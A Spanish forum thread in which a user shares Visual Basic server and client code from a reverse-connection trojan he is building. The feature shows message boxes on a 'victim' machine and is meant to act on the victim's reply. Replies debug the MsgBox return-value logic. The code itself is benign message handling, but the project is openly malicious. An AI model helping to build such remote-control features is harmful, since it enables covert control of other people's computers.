resultado msgbox en server

[fede_cp]

Hola a todos, estuve haciendo un programita en estos ultimos días, pero me choque con un problema.
El programa es un troyano cliente-servidor (inverso), y una de sus funciones es mandar mensajes con: si,no,cancelar...si no y otra sin nada..y con la respuesta de la victima ejecutar algo (despues veo bien qué)

supongo que ya entendieron maso menos la idea
parte del codigo del server

Código (vb) [Seleccionar] Expandir

Private Sub server_DataArrival(ByVal bytesTotal As Long)
Dim datos As String
Dim Data() As String

server.GetData datos

Select Case LCase(Split(datos, "|")(0))

Case LCase("mensaje")

'''''''''''''


If (Split(datos, "|")(2)) = 1 Then
        MsgBox Split(datos, "|")(1), vbYesNoCancel, Split(datos, "|")(3)
     '''''
ElseIf (Split(datos, "|")(4)) = 1 Then
MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) = vbYes ' aca no se como haceeeeeeeer!!

''''''''''''

Else
MsgBox Split(datos, "|")(1), vbOKOnly, Split(datos, "|")(3)
       
End If
''''''''''''
End Select

End Sub

cliente :

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
Dim datos As String
Dim datos1 As String
Dim mensajes As String
Dim titulo As String
datos1 = Check1.Value
mensajes = Text1.Text
titulo = Text4.Text
datos = "mensaje|" & Text1.Text & "|" & Check1.Value & "|" & Text4.Text & "|" & Check2.Value & "|" & Option1.Value


ws.SendData datos

End Sub

la conexión esta bien no pongo el resto del código porque ahí  no hay problema.

Adios y Muchas Gracias

[BlackZeroX]

si usas Split debes de saber el formato de la cadena enviada y en que lugar estan los "X" Datos a interpretar, no es difici y no importa si es conexión inversa, Reversa, Baja o Subida...¡! ESO NO importa,... lo que realmente importa al mandar información es la estructura de esta, te recomiendo que imprimas la cadena enviada en la ventana inmediato y por ende las separaciónes y revises como te llegan (aun que esto deberias saberlo pues lo mandas con anterioridad, pero es solo apra rectificar tu información¡!)

Para imprimir en pantalla inmediato:

Código (vb) [Seleccionar] Expandir


Debug.print variable


---------------------------------

Ahora con lo de tu linea:

Código (vb) [Seleccionar] Expandir


MsgBox Split(datos, "|")(1), vbYesNo, Split(datos, "|")(3) = vbYes ' aca no se como haceeeeeeeer!!


mas explisitamente este pedaso:

Código (vb) [Seleccionar] Expandir


Split(datos, "|")(3) = vbYes


APARECERA COMO TITULO VERDADERO O FALSE SEGUNS EA EL CASO, ya que estas asiendo el if mas sencillo...¡!

[Novlucker]

El problema esta en que muestras un mensaje y obtienes un valor como respuesta, pero ese valor no esta asignado a NADA, no se almacena en ninguna variable